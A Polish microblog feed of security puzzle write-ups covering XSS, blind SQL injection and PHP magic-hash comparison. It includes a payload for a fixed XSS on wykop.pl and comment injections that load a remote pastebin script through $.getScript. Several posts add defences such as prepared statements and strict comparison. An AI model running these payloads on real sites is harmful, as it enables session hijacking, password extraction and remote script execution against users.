•  

    #security

    Opowiem o ciekawym przypadku #xss, który znalazłem ostatnio na #wykop i został już naprawiony. Ciekawy jest dlatego, że nie tak łatwo go wyexploitować... Ale po kolei.

    Podatność występowała na niektórych podstronach bezpośrednio w adresach. Gdy w adresie został umieszczony znak cudzysłowia, a następnie nawiasy ostre, można było wyjść z tagu i wprowadzić dowolny kod HTML. Przykład na screenie: http://i.imgur.com/ulCWnvo.png

    Może się wydawać: no to jesteśmy w domu, mamy XSS-a! Praktyczne wykorzystanie tego błędu nie jest jednak takie łatwe, a wiąże się z zachowaniem przeglądarek, które automatycznie dokonują URL-encodingu adresów, w których znajdują się nietypowe znaki. A więc nawet jeśli skonstruujemy URL wyglądający tak: http://www.wykop.pl/mikroblog/"<xss>, to przeglądarka i tak wykona żądanie pod http://www.wykop.pl/mikroblog/%22%3cxss%3e. Każda z popularnych przeglądarek - Firefox, Chrome, IE, Opera - zachowuje się w taki sposób. A wtedy ten wykopowy XSS nie wykonuje się, ponieważ do źródła strony przepisywane było dokładnie to samo, co było w adresie. Więc jeśli w adresie był znak ", to on pojawił się w źródle. Jednak jeśli było %22, to w źródle pojawia się %22.

    Jest jednak co najmniej jeden sposób (a dokładniej: jeden sposób, który znam) na zmuszenie przeglądarki do wysłania żądania bez URL-enkodowania. Działa tylko w Internet Explorerze i myślę, że spokojnie można go potraktować jako bug tej przeglądarki. Okazuje się, że IE wykonuje żądanie bez enkodowania adresu dla adresów, które pobiera z nagłówka Location przy przekierowaniach. Wystarczyło więc przygotować stronę, która odpowiada kodem 302 z nagłówkiem
    Location: http://www.wykop.pl/mikroblog/next/6391690"><img/src='1'onerror='alert("XSS")'>/%2e%2e/

    Przechodzimy na tę stronę z Internet Explorera i exploit (alert o treści "XSS") pięknie się wykonuje, bowiem IE nie zamienia " na %22, < na %3c etc. tylko wysyła jak leci. Dołączam do tego postu dowód filmowy, że to działało. Sam exploit wrzuciłem pod adresem: http://hakerium.cba.pl/secret/wykop_xss.php

    Na koniec proponuję małą zagadkę: po co na końcu swojego exploita dałem tę część /%2e%2e/?

    Reasumując, jeśli testujecie kiedyś strony pod kątem XSS-ów i XSS wykonuje się jedynie w przypadku, gdy w URL-u znajduje się znak, który domyślnie jest URL-enkodowany, to taki exploit wciąż jest wykonalny na Internet Explorerze. To dość przydatna wiedza, w kontekście różnych #bugbounty albowiem można udowodnić, że w praktyce da się taki błąd wykorzystać.

    Jeśli ktoś chciałby zapytać, do czego praktycznie można wykorzystać XSS, to najczęściej próbuje się osiągnąć następujące cele:
    - Wykradnięcie ciastka sesyjnego (na Wykopie nietrywialne ze względu na użycie flagi HttpOnly),
    - Odczyt dowolnych danych stronie (np. XSS w Gmailu daje dostęp do całej poczty) lub wykonanie dowolnych akcji na stronie (na Wykopie można by wykopywać swoje znaleziska),
    - Monitorowanie aktywności użytkownika,
    - Przechwycenie danych logowania użytkownika - można pokazać fałszywą stronę logowania, w którą użytkownik ochoczo wpisze własne hasło :)

    (dodaję też #zagadkihakerskie bo myślę, że może to zainteresować subskrybentów)
    pokaż całość

    źródło: youtube.com

  •  

    #programowanie #zagadkihakerskie

    Wczoraj wrzuciłem zagadkę hakerską, w której należało wejść na stronę podając odpowiednie hasło, mając nawet dostęp do źródła tej strony. W tym wpisie wyjaśnię dokładnie jak należało przeprowadzić "atak" i z czego to wynika.

    Zanim przejdę konkretnie do treści zagadki, krótkie wprowadzenie do zachowania PHP w przypadku użycia operatorów == lub != do porównywania. Jeżeli z użyciem tych operatorów są porównywane wartości typu string, które jednak wyglądają jak liczby to PHP wcześniej dokonuje zamiany tych wartości na liczb, a dopiero potem porównuje. Tak więc porównanie w postaci ('255' == '255') powoduje, że oba stringi '255' są wpierw zamieniane na liczby, dopiero potem porównywane. Wydaje się to niegroźna cecha, ale zaczyna ona być problematyczna, gdy dokładnie przeanalizujemy co to znaczy, że ciągi znaków "wyglądają jak liczby". Otóż znaczy to, że także porównanie postaci ('255' == '0xff') także zwraca wartość TRUE! Pomimo że stringi są wyraźnie różne, PHP i tak zamienia je na liczby, które są uważane jako równe.
    Jeszcze innym sposobem zapisu liczb jest notacja wykładnicza, np. zapis 4e35 jest jednoznaczny z 4*10^35. Zauważamy jednak, że jeżeli cechą (czyli tą częścią zapisu przed "e") jest 0, to niezależnie od tego co jest dalej, cała liczba też jest równa 0. A więc 0e345 to jest 0, podobnie jak np. 0e457 też jest równe 0. To powoduje, że następujące porównanie stringów w PHP też zwraca true: ('0e456' == '0e123').

    Przejdźmy już teraz do samej zagadki. W kodzie źródłowym została zdefiniowana stała SECRET_PASSPHRASE o wartości "Teg0!HasL4.Ni3_D4!Si3##ZgadnAc!!39720403". Dalej w kodzie brany jest pod uwagę hash md5 tej wartości, a konkretniej jego pierwszych 16 znaków. Ten hash to dokładnie 0000e468235440361a9ab73ca7c60018, zaś biorąc jego pierwszą połowę uzyskujemy 0000e46823544036. Czy coś wam to przypomina? No właśnie! Na początku mamy 0, później e, a później wartość liczbową. A więc jeżeli znajdziemy inny string postaci (jako regex): 0+e[0-9]+ (co najmniej jedno "0", "e", co najmniej jedna cyfra) to (co wynika z tego o czym pisałem akapit wcześniej) dla PHP te stringi będą równe.

    Znalezienie wartości, której hash będzie spełniał ten warunek nie jest zbyt skomplikowane. W zasadzie wystarczy brać po prostu kolejne wartości liczbowe i sprawdzać ich hasze. Napisałem prosty program w Pythonie, który błyskawicznie wyszukuje trzy wartości, których pierwsze 16 znaków hasza md5 jest w postaci 0+e[0-9]+. Pierwszą z nich jest "7554", której hash md5 wynosi "0e16366727185813f59d4a9467878901", a pierwsza połowa tego hasha to "0e16366727185813". Upewnijmy się jeszcze, że PHP faktycznie będzie myślał, że ta wartość jest równa pierwszej połowie hasza z SECRET_PASSPHRASE: (poniższe polecenie można po prostu wpisać w konsoli):

    $ php -r 'var_dump("0e16366727185813" == "0000e46823544036");'
    bool(true)


    Może dla nas te stringi nie są takie same, ale dla PHP już tak :) Pozostaje więc tylko przejść na stronę Hakerium, wpisać w pole "7554" i cieszyć się z ukończenia zagadki.

    Jak się bronić przed podobnym ryzykiem we własnych aplikacjach? Nie stosować operatorów ==/!= tylko ===/!==. Ta pierwsza para prawie nigdy nie jest dobrym rozwiązaniem, bo praktycznie zawsze chcemy porównywać wartości tego samego typu, a ta druga para nam to zapewnia. Sprawdźmy:

    $ php -r 'var_dump("0e16366727185813" === "0000e46823544036");'
    bool(false)


    A więc tak jak powinno być :)

    Jedyną osobą, której udało się zalogować był @koziolek i dla niego gratulacje :). Dla reszty, mam nadzieję, będzie to pouczająca lekcja i zaraz sprawdźcie czy wasz kod w PHP nie jest na taką przypadłość podatny ;-)

    Jeśli macie jakieś pytania, śmiało pytajcie.
    pokaż całość

  •  

    #programowanie #zagadkihakerskie #php

    Na dobry początek tygodnia, zachęcam do rozwiązania kolejnej zagadki hakerskiej. Zagadka znajduje się pod adresem http://hakerium.cba.pl/zad6/.
    Żeby dodatkowo ułatwić, pod adresem http://hakerium.cba.pl/zad6/index.php.txt znajdziecie kod źródłowy tej zagadki. :)

    Powodzenia!
    pokaż całość

  •  

    #programowanie #zagadkihakerskie

    Tym razem do złamania strona pod adresem http://hakerium.cba.pl/zad5/. Wiecie, że na stronie istnieje użytkownik o następujących danych uwierzytelniających:

    nazwa: wykopowicz
    hasło: 1234wykop


    Waszym zadaniem jest zalogowanie się na innego użytkownika w systemie. Od razu powiem, że nie chodzi o atak typu brute-force (nie ma się z takim atakiem co kłopotać).
    Zadanie jest raczej dość proste, ale (niestety...) oparte na pewnej rzeczywistej sytuacji.

    Powodzenia!
    pokaż całość

  •  

    #zagadkihakerskie

    Jak słusznie zauważył @MichaS_LwK kilka dni temu, warto do zagadek hakerskich dodać krótką informację jak się bronić. Dlatego do poprzednich zagadek dopisałem krótkie posty z opisem jakie powinno być podejście wraz z linkiem do bardziej konkretnych materiałów na ten temat :)

    1. zagadka z SQL Injection
    2. zagadka: XSS w title
    3. zagadka: usuwanie tagów HTML-owych
    4. zagadka: mieszanie HTTP i HTTPS w ramach jednej strony
    pokaż całość

  •  

    #zagadkihakerskie #programowanie #php #regex

    Tym razem nieoryginalna zagadka, z którą być może część z was się spotkała. W dawniejszych czasach w manualu PHP zaproponowano taki kod do usuwania niebezpiecznych elementów z wejścia:

    // $document should contain an HTML document.
    // This will remove HTML tags, javascript sections
    // and white space. It will also convert some
    // common HTML entities to their text equivalent.
    $search = array ("'<script[^>]*?>.*?</script>'si", // Strip out javascript
    "'<[\/\!]*?[^<>]*?>'si", // Strip out HTML tags
    "'([\r\n])[\s]+'", // Strip out white space
    "'&(quot¦#34);'i", // Replace HTML entities
    "'&(amp¦#38);'i",
    "'&(lt¦#60);'i",
    "'&(gt¦#62);'i",
    "'&(nbsp¦#160);'i",
    "'&(iexcl¦#161);'i",
    "'&(cent¦#162);'i",
    "'&(pound¦#163);'i",
    "'&(copy¦#169);'i",
    "'&#(\d+);'e"); // evaluate as php

    $replace = array ("",
    "",
    "\\1",
    "\"",
    "&",
    "<",
    ">",
    " ",
    chr(161),
    chr(162),
    chr(163),
    chr(169),
    "chr(\\1)");

    $text = preg_replace($search, $replace, $document);
    ?>


    Jak można się domyślić - ten kod nie jest całkiem poprawny i pomimo, że ma usuwać tagi HTML-owe, można coś takiego wpisać na wejściu, że na wyjściu te tagi i tak się pojawią. Waszym zadaniem jest podanie takiego wejścia, że na wyjściu będzie: <b>wykop<b><script>.

    Oto adres, pod którym postawiłem prostą stronkę, która robi dokładnie to, co jest w powyższym kodzie: http://hakerium.cba.pl/zad3/
    pokaż całość

  •  

    #zagadkihakerskie #programowanie #xss #js #html

    Ostatnio rzuciłem kolejne wyzwanie związane z bezpieczeństwem stron internetowych. Strona pod adresem http://hakerium.cba.pl/zad2/ jest podatna na błąd typu Cross-Site Scripting (XSS) i celem zadania było dołączenie pliku z zewnętrznej domeny. Zaproponowałem plik spod adresu http://pastebin.com/raw.php?i=mYM90ckz który po prostu wyświetla alert, ale oczywiście można go dużo bardziej rozwinąć.

    Sama strona umożliwiała dodawanie komentarzy o długości co najwyżej 100 znaków. Zacznijmy od analizy jak ta strona działa i dlaczego istnieje na niej podatność. (Sugeruję, żebyście samemu chwilę się stroną pobawili, żeby wiedzieć o czym ja dalej piszę :))

    Na wstępie zobaczmy co w ogóle na stronie się dzieje przy dodawaniu komentarza. Zacznijmy od dodania prostego komentarza o treści abc. Zajrzyjmy teraz do HTML-a:
    <div class="comment" title=abc>abc</div>

    Pierwsza rzecz, którą zawsze sprawdzamy to jest czy strona enkoduje znaki, które są istotne z punktu widzenia składni HTML-a, a więc: " ' < > &. Wpiszmy więc komentarz abc"'<>& i sprawdźmy co się dzieje:
    <div class="comment" title=abc&quot;&#039;&lt;&gt;&amp;>abc&quot;&#039;&lt;&gt;&amp;</div>

    Okazuje się więc, że odpada najprostsza metoda ataku czyli dodanie własnego tagu HTML-owego wewnątrz diva, ponieważ znak < jest enkodowany do &lt;. Zwracamy jednak uwagę na fakt, że wartość atrybutu title nie jest umieszczona w cudzysłowiach. Być może więc możemy w naszym komentarzu dodać spację i stworzyć nowy atrybut? Dodajmy komentarz abc onmouseover=alert(1):

    <div class="comment" title=abc onmouseover=alert(1)>abc onmouseover=alert(1)</div>

    Spacja nie została w żaden sposób zenkodowana i dodaliśmy nowy atrybut! Teraz wystarczy przejechać kursorem po komentarzu i zobaczymy, że pojawi się alert o treści "1".

    Naszym zadaniem nie było jednak wyświetlanie takich alertów, ale dołączenie pliku JS z zewnętrznej domeny. W tym celu możemy skorzystać z faktu, że strona używa jQuery i użyć metody jQuery.getScript (dzięki @mero3 za to!). Gdybyśmy nie mieli dostępu do jQuery, wówczas można samemu zrobić znacznik <script> z odpowiednim atrybutem src, ale to wymaga trochę więcej pracy.
    Napiszmy więc komentarz o treści: x onmouseover=$.getScript('http://pastebin.com/raw.php?i=mYM90ckz')
    Wówczas, po przejechaniu kursorem myszy po tym komentarzu zostanie wykonany skrypt z tego pastebina. Można by więc powiedzieć, że w tym momencie zadanie jest wykonane...

    ... Jest jednak pewne "ale" - sami przyznacie, że możemy się przeliczyć, jeśli mamy nadzieję, że użytkownik umieści kursor akurat nad tym komentarzem. Trzeba by więc coś wymyślić, żeby mieć dużo większe prawdopodobieństwo (albo wręcz pewność), że akcja z naszego skryptu zostanie wykonana na komputerze ofiary. Jak odkryliśmy wcześniej, znak < jest enkodowany i nie mamy możliwości stworzenia własnego tagu. W ramach tagu <div> z kolei nie możemy użyć atrybutu onload=... żeby coś wykonało się automatycznie po załadowaniu strony. Wydaje się więc, że mamy w pewnym stopniu związane ręce. Ale skoro możemy użyć dowolnych atrybutów, można też użyć atrybutu style i w taki sposób zmienić ten komentarz, żeby zajmował on całą wielkość strony! Jest bardzo prawdopodobne, że ofiara użyje myszy gdziekolwiek na naszej stronie :) Dodanie komentarza o treści y style=height:100%;left:0;top:0;position:fixed;width:100%;opacity:0 spowoduje, że ten komentarz będzie się znajdował w lewym górnym rogu strony, będzie zajmował cały obszar strony i dodatkowo będzie niewidoczny (opacity:0), więc użytkownik nie zauważy, że coś jest nie tak. Niestety, nie ma możliwości dodania w jednym komentarzu tagu style i tej wcześniejszej treści z getScript ponieważ taki komentarz ma 134 znaki, a, jak wiemy, mamy ograniczenie do zaledwie 100 znaków.

    Co zrobić w takiej sytuacji? Rozwiązanie jest dość proste: dodać dwa komentarze! Jeden z nich będzie zawierał cały znacznik style i odniesienie do tego drugiego komentarza, który z kolei dołączy ten skrypt z zewnętrznej domeny. W tym drugim komentarzu zamiast onmouseover możemy użyć tym razem zdarzenia onkeyup. Dlaczego? Ponieważ zajmuje mniej znaków niż onmouseover i nie ma szans, żeby wywołało się przypadkiem w divie. Warto też zwrócić uwagę, że dobrze byłoby, gdyby styl strony wrócił do normy po wykonaniu naszego skryptu. Dlatego zmodyfikował trochę skrypt na pastebinie i dodałem tam resetowanie znacznika style, do zobaczenia tutaj: http://pastebin.com/raw.php?i=qASbnrHL
    No to teraz mamy treść pierwszego komentarza:
    x onkeyup=$.getScript('http://pastebin.com/raw.php?i=qASbnrHL')
    I treść drugiego:
    y style=height:100%;left:0;top:0;position:fixed;width:100%;opacity:0 onmouseover=$('*').keyup()

    Ten pierwszy komentarz zawiera ten kod, który nas tak naprawdę interesuje, zaś ten drugi służy tylko do wywołania pierwszego (użyłem tam selektora $('*'), bo i tak żaden inny obiekt na stronie nie ma zdarzenia keyup, ale to mogłoby wymagać dopracowania w rzeczywistym przypadku).

    Poniżej pokazany efekt na Chrome (uwaga! Na Chrome i Safari trzeba stronę odświeżyć poprzez kliknięcie ENTER na pasku adresu, ze względu na pewne mechanizmy w tych przeglądarkach; w prawdziwym ataku one i tak nie przeszkadzają):
    http://www.youtube.com/watch?v=HgzqjGwosCM

    Ciekawostka: kiedyś podaną powyżej sztuczkę, tj. zmiana stylu obiektu na taki, żeby się wyświetlał na całą stronę, wykonanie jakiejś akcji, a potem powrót do normalnego stylu zastosowałem na Wykopie zmieniając nagłówek "Wykopalisko" na "Trollowisko". Zadziałało :) http://www.wykop.pl/wpis/479285/czemu-wykopalisko-zwie-sie-trollowiskiem-i-to-tylk/

    Jeśli macie jakiekolwiek pytania dotyczące tego hakerium, pytajcie śmiało :)
    pokaż całość

    •  

      @almafater: potem przeczytałem, ciekawe sam bym zapewne nie wpadł ;)

      +: Rzuku
    •  

      Ochrona przed zagrożeniem:
      Błąd na tej stronie jest całkiem ciekawy, ponieważ strona enkoduje dane wyjściowe (tj. np. znak < jest zamieniany na &lt;, a " jest zamieniany na &quot;). Pomimo tego i tak udaje się znaleźć podatność i wykorzystać błąd. Wynika to z niedostosowania się do pewnych dobrych standardów w HTML-u. W tym przypadku wystarczyło atrybut wartość atrybutu title umieścić w cudzysłowach i błędu już by nie było. Wniosek jest z tego taki, że nie wystarczy bezmyślnie zastosować htmlentities (lub odpowiednika w innych językach) i wszystkie problemy z enkodowaniem się rozwiążą :)
      Bardzo dobry opis jak się chronić przed różnymi typami XSS-ów znajdziecie na stronie OWASP-u.
      pokaż całość

      +: Rzuku
    • więcej komentarzy (2)

  •  

    #programowanie #zagadkihakerskie #sqlinjection

    Ostatnio rzuciłem wyzwanie, żeby wykorzystując błąd typu SQL Injection, wykraść hasło użytkownika admin ze strony http://hakerium.cba.pl/zad1/.
    Niestety, wyniki okazały się dość słabe, stąd podsyłam krok po kroku jak mógłby wyglądać tok myślenia osoby, która chciałaby przełamać zabezpieczenie tej strony.

    Przede wszystkim, w przypadku testowania normalnej strony nie ma takiej sytuacji, jaka była tutaj, tj. że z góry było wiadomo, że podatność na SQL Injection istnieje. Najpierw trzeba ją zweryfikować i w tym celu trzeba będzie wykonać kilka prostych zapytań.

    Mamy pewność, że istnieje użytkownik admin, a więc wpiszmy taką nazwę użytkownika z dowolnym hasłem.
    W odpowiedzi dostaniemy Nieudane logowanie.

    Wpiszmy zatem inną nazwę użytkownika; taką, która z całą pewnością w systemie nie będzie istnieć, np. abcsfds.
    W odpowiedzi dostaniemy Nieudane logowanie

    Zauważamy, że w poprzednim przypadku na końcu komunikatu była kropka, a teraz jej nie ma. Wniosek z tego jest taki, że strona odpowiada innym komunikatem o błędzie w zależności od tego jaka jest przyczyna.

    Nie wiemy jak wygląda zapytanie SQL-owe po stronie serwera, ale możemy się spodziewać, że będzie w nim kod podobny do:
    SELECT * FROM users WHERE username='$username'

    Gdyby jako nazwę użytkownika podać ad'+'min to zapytanie zamieni się w: SELECT * FROM users WHERE username='ad'+'min'. Okazuje się, że w tym przypadku też dostaniemy Nieudane logowanie. a więc odpowiedź z kropką na końcu.

    Wpiszmy jako nazwę użytkownika coś co zawiera jakiś większy fragment zapytania SQL-owego np. admin' OR '1'='1, wówczas mamy zapytanie SELECT * FROM users WHERE username='admin OR '1'='1'. Ten drugi warunek będzie zawsze prawdziwy. Kolejny raz będzie odpowiedź z kropką na końcu. A co się stanie, gdy damy zamiast tego admin' AND '1'='2 (a więc zapytanie zawsze fałszywe)? Odpowiedź będzie Nieudane logowanie czyli znów bez kropki.

    Możemy już spokojnie wyciągnąć wniosek: strona zwraca Nieudane logowanie. gdy zapytanie SQL-owe zwróciło co najmniej jeden wiersz lub Nieudane logowanie gdy zapytanie zwraca zero wierszy. Kolejnym krokiem jest jeszcze sprawdzenie jak się strona zachowa dla zapytań, które nie są poprawnym SQL-em, wpiszmy np. admin' ANDdd '1'='2 z czego będzie zapytanie SELECT * FROM users WHERE username='admin' ANDdd '1'=2'. Po raz kolejny mamy Nieudane logowanie - komunikat bez kropki.

    MySQL ma taką specyfikę, że jeśli zapytanie jest poprawne syntaktycznie, ale zawiera na przykład nieistniejącą nazwę kolumny, to też wtedy zwraca błąd. Możemy takie zachowanie wykorzystać do sprawdzenia jakie kolumny istnieją w naszej tablicy. Pokażę to na przykładzie, jeśli mamy zapytanie: SELECT * FROM users WHERE username='admin' OR 1=1 OR '', dostaniemy wtedy wynik z kropką (a więc zostanie coś zwrócone). Jeśli zamienimy 1=1 na user=user to zapytanie ma dokładnie taki sam sens z jedną różnicą - nie wykona się, jeśli nie istnieje kolumna user. A zatem wpiszmy admin' OR user=user OR' co da komunikat bez kropki - a więc taka kolumna nie istnieje. Jednak już dla admin' OR username=username OR ' dostajemy odpowiedź z kropką - czyli trafiliśmy z nazwą kolumny. Na podobnej zasadzie możemy potwierdzić istnienie kolumny password, poprzez wpisanie admin' OR password=password OR'.

    No to przejdźmy wreszcie do konkretów :) Może na początek poznajmy długość hasła tego użytkownika? Skorzystamy z metody LENGTH i wpisujemy admin' AND LENGTH(password)=8 OR ', z tego powstaje zapytanie: SELECT * FROM users WHERE username='admin' AND LENGTH(password)=8 OR ''. Jeśli warunek z długością będzie prawdą to zapytanie zwróci wynik, w przeciwnym przypadku nie zwróci nic. A więc jedziemy:

    admin' AND LENGTH(password)=8 OR ' - zwraca Nieudane logowanie
    admin' AND LENGTH(password)=9 OR ' - zwraca Nieudane logowanie
    admin' AND LENGTH(password)=10 OR ' - zwraca Nieudane logowanie.. Bingo! Wiemy już, że hasło ma 10 liter!

    Do wyciągania pojedynczych liter hasła użyjemy metody SUBSTRING. Przyjmuje ona trzy parametry: pierwszy określa z czego wyciągamy podciąg (np. nazwę kolumny), drugi parametr określa początek podciągu (indeksowane od 1), trzeci parametr zaś to długość. No to jedziemy:

    admin' AND SUBSTRING(password,1,1)='q' OR ' - jeśli pierwszy znak hasła to q - dostaniemy wynik z kropką, w przeciwnym wypadku bez kropki. Okaże się, że pierwszy znak to nie jest q, gdy jednak damy zapytanie:
    admin' AND SUBSTRING(password,1,1)='w' OR ' - jest odpowiedź Nieudane logowanie.. Pierwszy znak hasła to w. Warto jednak zdać sobie sprawę z tego, że porównywanie ciągów znaków w MySQL domyślnie jest niewrażliwe jak wielkość liter. Nie wiemy więc, czy pierwszy znak to W czy w. Aby to naprawić, dodajmy słówko BINARY.

    admin' AND SUBSTRING(password,1,1) = BINARY 'w' OR' - Nieudane logowanie
    admin' AND SUBSTRING(password,1,1) = BINARY 'W' OR' - Nieudane logowanie. - a więc tak naprawdę pierwszą literą hasła jest duże W. Gdy będziemy teraz chcieli wyciągnąć drugi znak hasła, to zmieniamy drugi parametr w SUBSTRING na 2. Oczywiście wyciąganie całych haseł w ten sposób ręcznie jest bardzo pracochłonne i długotrwałe, stąd znacznie prościej napisać sobie do tego skrypt. Oto prosty skrypt w Pythonie, który napisałem w tym celu. Po jego odpaleniu dowiemy się, że całe hasło to WyKoP!@123 i że skrypt potrzebował wykonać 398 zapytań HTTP, by je odkryć (nie jest to strasznie duża liczba).

    A więc wracamy na stronę, wpisujemy user: admin, pass: WyKoP!@123 i udało się! Zalogowany jako admin! :)

    Jeśli macie jakieś pytania, pytajcie bez skrępowania ;)
    pokaż całość

    •  

      @almafater: no mniej więcej o to chodziło :) faktycznie OR.. pfyf :)

      +: Rzuku
    •  

      Ochrona przed zagrożeniem:
      Tak naprawdę istotą tej zagadki było pokazanie, że nawet jeśli informacje ze strony serwera są skąpe, to na podstawie obserwacji jego zachowania w różnych sytuacjach można z bazy wyciągnąć dane jeśli istnieje podatność na SQL Injection.
      A jak się przed SQL Injection bronić? Zawsze mówiło się o potrzebie odpowiedniego enkodowania danych przed wrzuceniem ich do bazy. Najlepszą jednak metodą i najpewniejszą jest stosowanie parametryzowanych zapytań (prepared statements). Każdy liczący się język i silnik bazy danych ma mechanizmy do tego. Wówczas wy już praktycznie nie musicie się przejmować odpowiednim filtrowaniem danych, ale zrobi to za was silnik baz danych. Ogólnie rzecz biorąc polega to na tym, że wy przygotowujecie zapytanie SQL-owe gdzie w miejsce parametrów wpisuje się pytajniki (lub nazwy tych parametrów, zależy od konkretnej implementacji) i potem podpinacie odpowiednie wartości. Przykład oparty na PHP:
      $stmt = $mysql->prepare("SELECT * FROM values WHERE firstname=? AND lastname=?
      $stmt->bind_param("ss", "Adam", "Nowak");
      $stmt->execute();


      W bind_param podawany są typy parametrów jakie podpinacie i w ten sposób silnik sam już dba o to, by go odpowiednio enkodować.
      Więcej informacji do PHP, .NET, Java

      SQL Injection Prevention Cheat Sheet.
      pokaż całość

      +: Rzuku
    • więcej komentarzy (9)

  •  

    #programowanie #zagadkihakerskie #sqlinjection

    A może zagadki hakerskie? Poniżej strona inspirowana pewną rzeczywistą sytuacją, z którą się spotkałem. Strona jest podatna na SQL Injection. Chodzi o to, żeby wykorzystać tę lukę do zalogowania się na użytkownika admin. Jeśli logowanie się uda, pojawi się komunikat: Zalogowany jako admin!.

    http://hakerium.cba.pl/zad1/

    Od razu mówię, że wykorzystanie luki nie jest aż tak bardzo trywialne i nie ograniczy się do OR 1=1 -- ;)
    pokaż całość

Ładuję kolejną stronę...

Archiwum tagów